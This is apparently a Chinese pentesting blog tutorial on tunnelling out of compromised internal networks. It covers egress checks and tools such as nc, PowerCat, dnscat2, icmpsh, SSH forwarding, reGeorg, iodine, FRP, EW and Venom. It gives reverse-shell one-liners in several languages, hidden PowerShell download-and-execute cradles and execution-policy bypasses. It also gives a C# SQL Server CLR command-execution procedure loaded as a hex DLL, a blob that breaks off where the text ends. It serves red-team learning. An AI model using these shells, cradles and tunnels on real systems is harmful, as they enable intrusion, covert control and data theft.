内网常见隧道通信

常见的隧道如下:

  • 网络层:IPV6、ICMP、iptables隧道
  • 传输层:TCP、UDP及其常规端口
  • 应用层:SSH、HTTP/HTTPS、DNS隧道

这里就从判断连通性->使用什么隧道工具来学习。

判断各种隧道连通性

首先出网判断

  • 目标是否禁止出站IP
  • 目标是否禁止出站端口
  • 目标出网的协议

第一种情况就没法反弹shell

探测出网的端口

例如探测Liunx下出网的端口或者使用其他软件

for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done

探测出网协议

探测ICMP协议

服务端监听ICMP流量:tcpdump icmp 
客户端ping VPS地址,查看服务端能否收到请求

探测DNS协议

Windows:nslookup、ping 
Linux:nslookup、dig、ping

判断能否将域名解析为ip,判断DNS协议是否出⽹。也可以将域名换成dnslog的域名,再看dnslog能否收到请求。

探测HTTP/HTTPS协议

Linux:
可以使用curl命令

Windows:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

传输层隧道

LCX

很老的工具了,就是基于Socks端口转发,简单列举一下用法

LCX本地端口转发

目标机:lcx.exe -slave vps 4444 本地机器IP IP端口 
VPS:lcx.exe -listen 4444 5555
连接vps:5555端口就行

本地端口映射

//实用于本地某些端口被防火墙拦截,将数据量转发到可以出网的端口
lcx.exe -tran 53 本地机器IP 端口

NC

很常用的工具了,学到这里了还是记录下吧。
这里先贴下手册用法吧,然后贴一些常见的用法。

基本格式:nc [-options] hostname port[s] [ports] ... 
nc -l -p port [options] [hostname] [port]

-d 后台模式 
-e prog 程序重定向,一旦连接,就执行 [危险!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h 帮助信息 
-i secs 延时的间隔 
-l 监听模式,用于入站连接 
-L 连接关闭后,仍然继续监听 
-n 指定数字的IP地址,不能用hostname 
-o file 记录16进制的传输 
-p port 本地端口号 
-r 随机本地及远程端口 
-s addr 本地源地址 
-t 使用TELNET交互方式 
-u UDP模式 
-v 详细输出--用两个-v可得到更详细的内容 
-w secs timeout的时间 
-z 将输入输出关掉--用于扫描时

端口扫描

nc -nv IP Port
nc -vz IP Port[范围]

文件传输

nc.exe -lp 3333 >1.txt
nc.exe -vv 3333 <1.txt -q 1

反弹SHELL

nc -lvvp 4444 -e /bin/bash //正向Shell
nc ip port -e /bin/bash    //反向Shell

PHP

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Pyhton

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Perl

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理

VPS

nc -lvvp 3333

内网服务器

nc -lvvp 3333 -e /bin/bash

DMZ边界服务器

nc VPS 3333 -c "nc 内网服务器IP 3333"

当然你需要查看的是你的nc是否使用 -c 或-e这种危险参数,我的ubuntu是没有的在kali才有

本地端口转发

//目标机
mkfifo fifo
nc -lvvp 4444 -e /bin/bash
nc -lvvp 8888 < fifo | nc -nvv 127.0.0.1 4444 > fifo
  
//VPS
nc 目标机 8888
  
//关于mkfifo
https://blog.csdn.net/jnu_simba/article/details/8953960

PowerCat

Powercat想当于Powershell版本的Nc,一些用法会给出案例
下载地址:https://github.com/besimorhino/powercat

权限问题及其绕过

因为Powershell默认权限是不允许执行任何脚本。我们需要再Powershell修改权限
Set-ExecutionPolicy Unrestricted
当然还有其他策略,只要能执行就行。
我们也可以通过三种常规的执行策略进行PS脚本的执行

本地策略绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

利用IEX下载远程PS1脚本回来执行

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

第三种是最方便的我们就以第三种演示吧
image.png
因为是Powershell的NC用法基本也一样的,可以自己查看命令帮助。

反弹shell和Powershell

nc反弹shell
image.png
我们知道了可以与nc反弹shell但是如果返回Powershell就需要都有Powercat,加上-ep参数即可
image.png
还可以使用-ge参数生成payload,自我感觉有一些鸡肋。本地测试失败。

传输文件

powercat -l -p 9999 -of test.txt -v
powercat -c 目标服务器 -p 9999 -i test.txt -v
// 其中 -i:代表输入【也就是接收】  -of输出文件名
  

DNS隧道通信

PowerCat是一套基于DNS通信的协议,他是基于dnscat设计的,所以使用的时候我们需要去安装dnscat,并且是需要ruby的环境。

https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
//如果卡着不动考虑镜像
https://blog.csdn.net/weixin_42215775/article/details/102951401

我们在vps输入

ruby dnscat2.rb test.dns -e open --no-cache

在服务器上输入

powercat -c 192.168.1.12 -p 53 -dns test.dns -e cmd.exe

image.png
实战也是一样的,下一篇会讲解如何在公网搭建。
image.png

PowerCat端口转发

这里测试了3389是失败的。但是其他是没问题的。小问题就是开始连一下就自动断开了不清楚原因。
但是反弹shell是没问题,挺稳定的。
这里举下例子

转发SHELL
powercat -l -v -p 9999 -e cmd.exe //内网
powercat -l -v -p 8888 -r tcp:内网:9999   //dmz边界服务器
---------------------------------------------------------
powercat -l -v -p 9999 -e cmd.exe //内网
powercat -n 内网 -p 9999 -r tcp:8888 // dmz边界服务器
VPS:连接DMZ边界的9999端口就OK
-------------------------------------------------------
转发端口同理Dmz边界直接转发就行 
-------------------------------------------------------------

DNS协议
ruby dnscat2.rb test.dns -e open --no-cache //vps
powercat -l -p 8888 -r dns:VPS地址::test.dns // dmz边界服务器
powercat -c dmz边界服务器 -p 8888 -e cmd.exe

网络层隧道_ICMP

ICMP隧道是基于网络层的,一般通信都是需要基于端口而ICMP则不需要,最常见的应用就是Ping命令。攻击者可以利用命令得到比回复更多的ICMP请求。在一些条件下如果其他隧道都操作失败了,而可以进行Ping命令访问到主机,那么我们可以尝试将TCP/UDP数据封装到ICMP的ping数据包,从而穿过防火墙。

常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

这里用icmpsh、PingTunnel来操作演示

ICMPSH反弹Shell

GITHUB:https://github.com/inquisb/icmpsh

首先在VPS安装ICMPSH工具

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问

apt-get install python-impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

那我们如何获取内网的公网IP呢。我们使用Ping命令到公网上看下他的出口IP

使用tcpdump icmp进行流量抓取,就可以看到IP出口。
image-20220313183529519.png
然后再目标机运行

icmpsh.exe -t VPS

image-20220313184133865.png
在VPS上运行,就可以看到我们反弹过来的Shell。

./icmpsh_m.py IP(公网)IP(内网的公网ip地址)

image-20220313184244254.png
如果不用了记得将其改回0

sysctl -w net.ipv4.icmp_echo_ignore_all=0

PingTunnel国外

端口转发

首先如果没有pcap先进行

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
./configure 
make&&make install

再进行ptunnel下载

Download:http://freshmeat.sourceforge.net/projects/ptunnel/
进行安装 make && make install

我们首先在内网边界WEB服务器进行

ptunnel -x cs

在VPS上输入

ptunnel -p 目标靶机IP -lp 8888 -da web服务器内网的其他ip -dp 3389 -x cs

这是内网边界WEB服务器server.png
1.1.1.4是我们内网的其他服务器
image-20220313185018379.png
然后再我们的VPS上进行
VPS.png
然后我们再再本地机器去链接我们VPS开放的端口8888就可以连接我们内网的3389client.png
最开始尝试的是编译好软件去WIN测试但是失败,可能编译软件有问题。同时在Liunx又没问题。

PingTunnel国内

国人也有写了一款Pingtunnel的工具 功能相对强大包括Socks的转发。
https://github.com/esrrhs/pingtunnel

Socks5代理

WEB服务器

./pingtunnel -type server -noprint 1 -nolog 1

VPS

./pingtunnel -type client -l :1080 -s 192.168.1.13 -sock5 1 -noprint 1 -nolog 1

image.png

端口转发

WEB服务器

#关闭icmp回复,如果要开启icmp回复,该值设置为0
sysctl -w net.ipv4.icmp_echo_ignore_all=1 
#监听 
./pingtunnel -type server -noprint 1 -nolog 1

VPS

#将WEB⽬标主机的8081端⼝转发到本地的8080端⼝ 
pingtunnel.exe -type client -l :8080 -s WEB服务器 -t WEB服务器:8081 -tcp 1 noprint 1 -nolog 1

UDP自行查看GAYHUB上面例子

ICMP上线CS

https://xz.aliyun.com/t/10626#toc-16

应用层隧道

应用层的话大多是靠该软件本身提供的端口发送数据

SSH

ssh开始是需要进行文件的配置,配置完记得重启ssh

vi /etc/ssh/sshd_config	//ssh配置文件
AllowTcpForwarding yes			是否允许转发TCP协议
GatewayPorts yes					  是否允许远程主机连接本地转发端口
PermitRootLogin yes				  是否允许root登录
PasswordAuthentication yes	是否允许使用基于密码的认证
TCPKeepAlive yes					  保持心跳,防止ssh断开

SSH的一些参数说明

-C:压缩传输,提高传输速度。
-f:将SSH传输转人后台执行,不占用当前的Shell。
-N:建立静默连接(建立了连接,但是看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。
-L:本地端口转发。
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定SSH端口

本地转发

当我们拿下一台dmz服务器,外部VPS可以访问DMZ,访问不了内网其他服务器所以以它为跳板访问我们内网的其他服务器端口将其转发出来。

ssh -CfNg -L 8888[VPS端口]:内网其他服务器:端口 ubuntu@192.168.1.13[DMZ跳板机]

image.png

远程转发

当我们拿下一台内网的web服务器但是他没有边界服务器。外部VPS访问不了任何机器。但是内网WEB服务器可以访问外网的VPS。其他的内网机器不行我们可以尝试远程转发。
我们拿下内网的某WEB服务器

ssh -CfNg -R 8888[vps端口]:1.1.1.4:3389[内网其他] root@192.168.1.12[VPS]

image.png
我们的VPS
查看端口是否开放然后尝试连接
image.png

动态转发

我们在VPS建立一个SOCKS4/5代理隧道

ssh -CfNg -D 1080 ubuntu@192.168.1.13[DMZ边界服务器]

然后查看是否开放VPS端口,然后去游览器设置代理
image.png
就可以访问到我们内网的任意东西,还可以直接进行socks代理对我们内网进行一个扫描挂一个socks代理就好了。

//临时窗口代理,或者直接使用软件都是OK的
export ALL_PROXY=socks5://代理
set ALL_PROXY=socks5://代理

image.png

HTTP/HTTPS

常见的代理工具有reGeorg、meterpreter、tunna等
reGeorg是reDuh的升级版。主要就是把内网的数据通过http/https转发出来。
reGeorg特征也是很明显的,很多杀毒基本都会进行查杀。这里附一个下载链接。

https://github.com/sensepost/reGeorg //原版
https://github.com/L-codes/Neo-reGeorg //重构修改版

这里使用的是重构版本,使用说明GayHub是有的。我们先把脚本上传到内网的机器,因为是PHP搭建的所以直接上传PHP版本的。

python3 neoreg.py generate -k password  //生成脚本上传

image.png
然后我们在DMZ服务器上面执行如下【注意-l】

python3 neoreg.py -k password -l 0.0.0.0 -u http://1.1.1.4/tunnel.php //这样才可以让别人连接

然后使用VPS去链接,如果不指定0.0.0.0他就是本地开启的,所以需要对外开放。
image.png
但是我们这样子一些工具是用不了的所以需要一个工具 Proxychains-Ng

# Linux
$ git clone https://github.com/rofl0r/proxychains-ng.git     # 下载
$ cd proxychains-ng && ./configure &&  make && make install  # 编译安装
$ cp ./src/proxychains.conf /etc/proxychains.conf            # 拷贝配置文件
$ cd .. && rm -rf proxychains-ng                             # 删除目录(可不执行)
--------------------------------------------------------------------------------
#配置
# 找到proxychains.conf文件所在的路径
# 将socks4 127.0.0.1 9095改为 socks5 127.0.0.1 1080
$ vim /etc/proxychains.conf            # Kali

image.png
使用方法就是

# 用法: proxychains4  XXX
$ proxychains4 curl ifconfig.io

image.png

DNS

DnsCat2

首先在VPS安装dnscat2

//前提环境
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
----------------------------//dnscat2安装
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
//如果卡着不动考虑镜像
https://blog.csdn.net/weixin_42215775/article/details/102951401

这里再说一下dnscat2隧道模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址DNS发起请求
  • 中继模式:DNS经过互联网迭代解析,指向指定的DNS服务器。与直连比较速度慢,但隐蔽性和稳定性强。

因为直连有很明显的特征,中继大大减少,可以抓包查看。

中继模式

我们需要先再服务器配置一个域名
然后创建A记录,讲我们的域名解析服务器指向VPS的地址,然后创建NS记录,将解析的结果指向我们的A记录
image.png
之所以设置NS类型记录不是用于设置某个域名的服务器而是某一个子域名的DNS服务器。
因为NS只能设置成域名形式而不是IP所以我们需要一条A记录指向我们的IP
image.png
如何判断设置是否成功可以先对其PING 如何指向我们的A记录 说明A记录成功,那么NS记录怎么判断,可以在VPS抓包然后使用nslookup查找,如果有响应就说明成功,如上图。
下面直接开始操作,我们先再VPS设置如下

ruby dnscat2.rb vpn.xxx.cn -e open --no-cache -c test
// -c是共享秘钥防止中间人进行攻击的

然后再目标机器上使用编译好的Client,因为Client是用C语言编写的。
如果是LIunx,进入目录Make一下也是OK,然后就是如图所示。
Client:

查看是否能通讯
dnscat2.exe --ping vpn.xxx.com
建立连接
dnscat2.exe --dns domain=vpn.xxx.com --secret=test

image.png
我们可以查看下有那些命令进行操作
image.png

* clear			清屏
* delay			修改远程响应延时
* download	下载程序
* exec			执行程序
* listen		类似SSH -L的本地转发 例如listen 0.0.0.0:53 xxx:33
* ping			确认目标是否在线,返回Pong就说明在线
* quit			退出dnscat2控制台
* set				
* shell			
* shutdown	切断对话
* suspend		返回上一层
* tunnels		
* unset			
* upload		
* window		列举所有通道
* windows -i  连接某个通道

例如执行exec calc
image.png
当然我们还可以使用powershell版本 那样会更加的安全可以直接使用

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
start-Dmscat2 -Domain vpn.xx.com -PreSharedSecret 密码 -DNSServer vps_ip

或者一条命令在内存直接运行

powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain vpn.xx.com -PreSharedSecret 密码 -DNSServer vps_ip}

直连模式

VPS

ruby dnscat2.rb -s 553 -e open --no-cache -c test

Client

dnscat2.exe --dns server=VPSIP,port=553 --secret=tes

操作和上面一样,powershell同理。

iodine

下载

windows版本:
https://code.kryo.se/iodine/
Liunx:
apt-get install iodine

iodine支持直接转发和中继两种模式,原理:通过TAP虚拟网卡,在服务器简历一个局域网;在客户端通过TAP简历虚拟网卡,两者通过DNS隧道使其在同一个局域网。
域名设置问题在上面DnsCat2已经有这里不多介绍。
这里介绍一下iodined的一些命令用法

-f 前台运行
-c 禁止检查所有传入请求客户端IP地址
-P 客户端和服务器直接的通信密码
-D 调试级别 -DD 是二级
-r iodine有时候会自动将DNS隧道切换UDP隧道,这个参数是一直使用DNS
-M 上行主机大小
-m 调节最大下行分片大小
-I 请求时间间隔

VPS:
这个网站可以检查你是否配置OK:https://code.kryo.se/iodine/check-it/

iodined -f -c -P test 192.168.0.1 vpn.r0ser1.cn -DD

Windows客户端:
这里需要注意的是windows需要安装一块TAP网卡驱动,也可以下载OpenVpn在安装的时候选择仅选择TAP-Win32驱动
http://www.qudong51.net/qudong/981.html【随便找的】
image.png
可以看到多出来的网卡驱动
image.png
然后打开我们的iodine

iodine.exe -f -P test vpn.r0ser1.cn

但是需要管理员
image.png
使用管理员可以看到成功多了一块网卡和IP,这样192.168.0.x就是局域网了。
image.png
我们在VPS直接连接我们的局域网IP的80端口看看
image.png
没有一点问题,然后就可以配置一下其他的代理动态的出网。
例如使用上面http那个隧道NG-reGeorg,都是可以配合使用的
例如把内网的其他机器通过http->dns流量出来
image.png
Liunx客户端:

iodine -f -P test vpn.r0ser1.cn -M 200

然后方法都是一样,例如配合SSH使用等等

一些工具的使用

iptables端口转发

iptables的是一个用户空间实用程序,其允许系统管理员来配置IP分组过滤器规则的的Linux内核 防火墙,所以他是需要ROOT权限才能操作的,否则是无法运行的。

基础配置

1.编辑sysctl配置文件 vim /etc/sysctl.conf
然后找到net.ipv4.ip_forward=1 就行
image.png
2.临时修改

$ echo 1 >/proc/sys/net/ipv4/ip_forward

本地端口转发

原理:REDIRECT模式是防火墙所在的机子内部转发包或流到另一个端口,也就是所有接收的包只转发给本地端口


将本机的 7777 端口转发到 6666 端口。

iptables -t nat -A PREROUTING -p tcp --dport 7777 -j REDIRECT --to-port 6666

虽然没开7777端口但是还是可以看到被转发给了处于侦听状态的 6666 端口。
image.png

远程端口转发

原理:DNAT模式是用来做目的网络地址转换, 可以做某种类型地负载平衡。SNAT模式用来源网络地址转换的,就是重写包的源IP地址。如果直接转发包的话,网络响应包上就不知道往哪儿发送应答,所以需要改为防火墙的地址


现在比如我们拿到了WEB边界服务器A和内网服务器B
A可以出网 B不能出网 A可以访问B VPS<-->A<-->B
我们在A服务器:

iptables -t nat -A PREROUTING -d "对外公网ip" -p tcp --dport "对外端口" -j DNAT --to "内部实际提供服务的ip":"实际提供服务的端口"

在B服务器

iptables -t nat -A POSTROUTING -d "内部实际提供服务的ip"-p tcp --dport "实际提供服务的端口" -j SNAT --to-source "运行iptables机器的内网ip

实测反正没成功文章推荐
https://www.freebuf.com/articles/web/289254.html
https://www.coonote.com/linux-note/linux-iptables-forwarding-method.html

FRP(目标出网)

工具下载:https://github.com/fatedier/frp/releases
在VPS上我们直接使用frp模式的配置就好了

./frps
或者你自定义的一些配置
./frps -c frps.ini

在我们web服务器上配置如下

[common]
server_addr = 你的VPS
server_port = 7000

[ssh]
type = tcp
plugin = socks5
remote_port = 6000

然后去连接我们VPS的6000端口就可以了。或者作一些端口映射的操作,配置下就行。
image.png

NPS

下载地址:https://github.com/ehang-io/nps/releases
uname -m查看自己什么构架一般下amd64和386
这个还是比较有意思的图形化界面
下载Server我放在VPS上搭建,然后再/conf/nps.conf配置一下

http_proxy_port:80 防止占用修改为8080
https_proxy_port:443 防止占用修改为4433
bridge_port :8024
web_port :8088 防止占用

然后启动就行,访问VPS:8088
点击新建客户端,我一般就写验证秘钥
image.png
然后我们去下载客户端下载好了发现又conf文件,可以要可以不要,这里选择不要直接Vkey连接。

Windows:npc.exe -server=ip:port -vkey=服务端生成的key
Linux:./npc -server=ip:port -vkey=服务端生成的key

然后点击SOCKS代理新增一条我们的ID和端口就行
image.png
然后我们就可以访问我们VPS:9993端口进行内网漫游了
image.png

IOX

一些相比EW lcx的介绍与不同及其用法
https://github.com/EddieIvan01/iox/blob/master/docs/README_CN.md
下面就直接使用吧,上面都介绍的很清楚了。

fwd转发模式

将内网出网主机的RDP转发到VPS
VPS:

./iox fwd -l *9998 -l 33890 -k 656565

目标机器:

iox.exe fwd -r 1.1.1.4:3389 -r *VPS:9998 -k 656565

然后我们连接我们VPS的33890就可以了

Proxy[反代]

我们如果都要加密的话就需要

./iox proxy -r *vps:9999 -k 656565 (webshell上执行)
./iox proxy -l *9999 -l *1080 -k 656565(vps上执行)
./iox fwd -l 1088 -r *vpsip:1080 -k 656565(自己的机器)

然后访问1088,如果不加密本地监听的1080就可以直接连VPS SOCKS就行

Proxy[正代]

如果他有公网的IP

./iox proxy -l 1080

EW

下载地址:https://github.com/idlefire/ew
ew有六种模式,分别是:

  • ssocksd
  • rcsocks
  • rssocks
  • lcx_slave
  • lcx_listen
  • lcx_tran

ssocksd是用于普通网络环境下的正向连接。rcsocks 和 rssocks 用于反向连接。lcx_slave 、lcx_listen 和 lcx_tran 用于复杂网络环境的多级连接。
常见的参数

-s: 状态功能选择
-l:指定要监听的本地端口
-d:指定要反弹到的机器 ip
-e:指定要反弹到的机器端口
-f:指定要主动连接的机器 ip
-g:指定要主动连接的机器端口
-t:指定超时时长,默认为 1000

一级代理

正向代理

当我们如果有公网时候可以使用

./ew -s ssocksd -l 1080

反向代理

如果目标机器没有公网,但是他是可以出网的我们可以在VPS上搭建一个转接隧道,将VPS 1080监听端口的流量转发到9999端口,然后目标主动连接VPS的888端口,就可以

VPS:./ew -s rcsocks -l 1080 -e 9999
目标机器:./ew -s rssocks -d VPS_IP -e 9999

image.png

二级代理

例如:

  • 拿到了一台外网服务器A可以出网
  • 拿到一台内网服务器B不能出网

A可以访问B,但是我们核心是要拿下服务器C,但是A不能访问C可以访问B
于是我们可以逆向推导就好了

B服务器
ew -s ssocksd -l 9999
A服务器
ew -s lcx_slave -d vps_ip -e 8888 -f 服务器B -g 9999
VPS
ew -s lcx_listen -l 1080 -e 8888

或者比如说B服务器反向连A[因为A可以出网],然后直接使用A的socks代理不久好了,很多思路都可以操作。

三级代理

例如A B C D核心是拿到D但是只有**A出网 **
VPS<-->A<-->B<-->C->D
除了箭头所指向均不能调级访问

C服务器
ew -s rssocks -d B服务器 -e 777
B服务器
ew -s lcx_listen -l 999 -e 777
A服务器
ew -s lcx_slave -d VPS -e 888 -f B服务器 -g 999
VPS
ew -s rcsocks -l 1080 -e 888

Venom

介绍和下载地址:https://github.com/Dliv3/Venom/blob/master/README.md

一级代理

反向代理

VPS:

./admin_linux_x64 -lport 9999 -passwd cs

WEN公网服务器

./agent -rhost vps_ip -rport 9999 -passwd cs

连接上以后会有提示成功
然后我们输入

show //查看节点
goto 1
socks 1080

image.png
然后挂代理就可以连接我们内网其他服务器
image.png

正向代理

当目标器有公网IP且端口出网,可以直接目标主机开启,然后我们本地或着VPS连接。

目标主机:
./agent_linux_x64 -lport 8888

VPS或着我们自己去:
admin.exe -rhost target_ip -rport 8888

goto节点然后建立socks代理
goto 1 
socks 1080

二级代理

例如:

  • 拿到了一台外网服务器A可以出网
  • 拿到一台内网服务器B、C不能出网

A可以访问B,但是我们核心是要拿下服务器C,但是A不能访问C可以访问B
VPS<-->A<-->B-->C
箭头所示。我们要拿下C

反向代理

VPS:

./admin_linux_x64 -lport 9999 -passwd cs

A公网服务器

./agent -rhost vps_ip -rport 9999 -passwd cs

连接上以后会有提示成功
然后goto 一下 再A的服务器监听7788端口

show
goto 1
listen 7778

image.png
然后B的服务器去反向连接A

agent.exe -rhost 1.1.1.7 -rport 7788 -passwd cs

image.png
然后

show
goto 2
socks 8787

image.png
我们去连接一下8787,没有任何问题
image.png
我们也可以shell一下查看我们拿下的B服务器
image.png

正向连接

也很简单 逆向思考一下就是我们A-->B 主动连B

VPS:
./admin_linux_x64 -lport 9999 -passwd cs

A:
./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd cs

B:
agent.exe -lport 9999 -passwd cs

show 
goto 1 也就是A
connect to 1.1.1.4 9999

show 
goto 2
socks 6666
就OK啦

image.png
连接6666
image.png

三级代理

例如A B C D核心是拿到D但是只有**A出网 **
VPS<-->A<-->B<-->C->D
除了箭头所指向均不能跳级访问
三级代理就是在二级代理基础上再建立一个反向代理或者正向代理
用上面二级代理直接添加就行,这里就不记录了。
image.png
image.png
个人感觉比EW人性化一点。

MSSQL突破

假如我们拿到了侧服务器权限通过信息收集控制了MSSQL数据库,此数据库与DMZ边界服务器想通,但是防火墙只允许1433端口通过,无法访问核心数据库。附图一张
image.png
CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

在利用MSSQL服务实现命令执行的时候,通常的做法是利用xp_cmdshell存储过程在MSSQL进程的上下文中运行操作系统命令。如果要想利用这种技术运行自定义代码,通常需要使用LOLBINS,添加新的操作系统用户,或通过BCP向磁盘中写入二进制文件,这些方法的缺点是很容易被发现。CLR方式可以利用16进制文件流方式导入DLL文件,这样不需要文件落地
我们将下面代码转为DLL

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

使用csc.exe 编译 dll 文件

这个也可以编译但是根据框架来的 用这个默认.NET4.5了

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\cmdexce.cs

所以这里去VS进行操作,下面那个网站是有流程的。这里我用.NET3.5才可以成功。他是用的4。
这里只针对SQLSERVER2017以下来实验,高版本CLR请参考
https://paper.seebug.org/1525/#sql-server-clr
显示高级选项

sp_configure 'clr enabled',1;RECONFIGURE;

启动CLR

sp_configure 'clr enabled',1;RECONFIGURE;

将存储.Net程序集的数据库配置为可信赖的

ALTER DATABASE master SET TRUSTWORTHY ON;

写入编译的dll文件

DECLARE @ob INT
EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT
EXEC sp_OASetProperty @ob, 'Type', 1
EXEC sp_OAMethod @ob, 'Open'
EXEC sp_OAMethod @ob, 'Write', NULL, 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300f47e475e0000000000000000e00002210b010b000008000000060000000000005e270000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000042700005700000000400000a802000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e7465787400000064070000002000000008000000020000000000000000000000000000200000602e72737263000000a80200000040000000040000000a0000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000000e000000000000000000000000000040000042000000000000000000000000000000004027000000000000480000000200050028210000dc050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300500c30000000100001100730400000a0a066f0500000a72010000706f0600000a00066f0500000a72390000700f00280700000a280800000a6f0900000a00066f0500000a166f0a00000a00066f0500000a176f0b00000a00066f0c00000a26178d090000010c081672490000701f0c20a00f00006a730d00000aa208730e00000a0b280f00000a076f1000000a000716066f1100000a6f1200000a6f1300000a6f1400000a00280f00000a076f1500000a00280f00000a6f1600000a00066f1700000a00066f1800000a002a1e02281900000a2a0042534a4201000100000000000c00000076342e302e33303331390000000005006c000000e0010000237e00004c0200009402000023537472696e677300000000e0040000580000002355530038050000100000002347554944000000480500009400000023426c6f620000000000000002000001471502000900000000fa253300160000010000000f000000020000000200000001000000190000000300000001000000010000000300000000000a000100000000000600380031000a0060004b000600a50085000600c50085000a000701ec000e0030011d010e0038011d0106006e0131000a00bf01ec000a00cb013f000a00d501ec000a00e301ec000a00ee01ec0006001a02100206003a0210020000000001000000000001000100010010001700000005000100010050200000000096006a000a0001001f21000000008618730010000200000001007900190073001400210073001000290073001000310073001000310049011e00390057012300110064012800410075012c0039007c01230039008a01320039009e0132003100b9013700490073003b005900730043006100f6014a006900ff014f0031002702550079004502280009004f022800590058025a00690062024f0069007102100031008002100031008c02100009007300100020001b0019002e000b006a002e00130073006000048000000000000000000000000000000000e3000000040000000000000000000000010028000000000004000000000000000000000001003f000000000004000000000000000000000001003100000000000000003c4d6f64756c653e00636d645f657863652e646c6c0053746f72656450726f63656475726573006d73636f726c69620053797374656d004f626a6563740053797374656d2e446174610053797374656d2e446174612e53716c54797065730053716c537472696e6700636d645f65786563002e63746f720065786563436f6d6d616e640053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300436f6d70696c6174696f6e52656c61786174696f6e734174747269627574650052756e74696d65436f6d7061746962696c69747941747472696275746500636d645f65786365004d6963726f736f66742e53716c5365727665722e5365727665720053716c50726f6365647572654174747269627574650053797374656d2e446961676e6f73746963730050726f636573730050726f636573735374617274496e666f006765745f5374617274496e666f007365745f46696c654e616d65006765745f56616c756500537472696e6700466f726d6174007365745f417267756d656e7473007365745f5573655368656c6c45786563757465007365745f52656469726563745374616e646172644f75747075740053746172740053716c4d657461446174610053716c4462547970650053716c446174615265636f72640053716c436f6e746578740053716c50697065006765745f506970650053656e64526573756c747353746172740053797374656d2e494f0053747265616d526561646572006765745f5374616e646172644f757470757400546578745265616465720052656164546f456e6400546f537472696e6700536574537472696e670053656e64526573756c7473526f770053656e64526573756c7473456e64005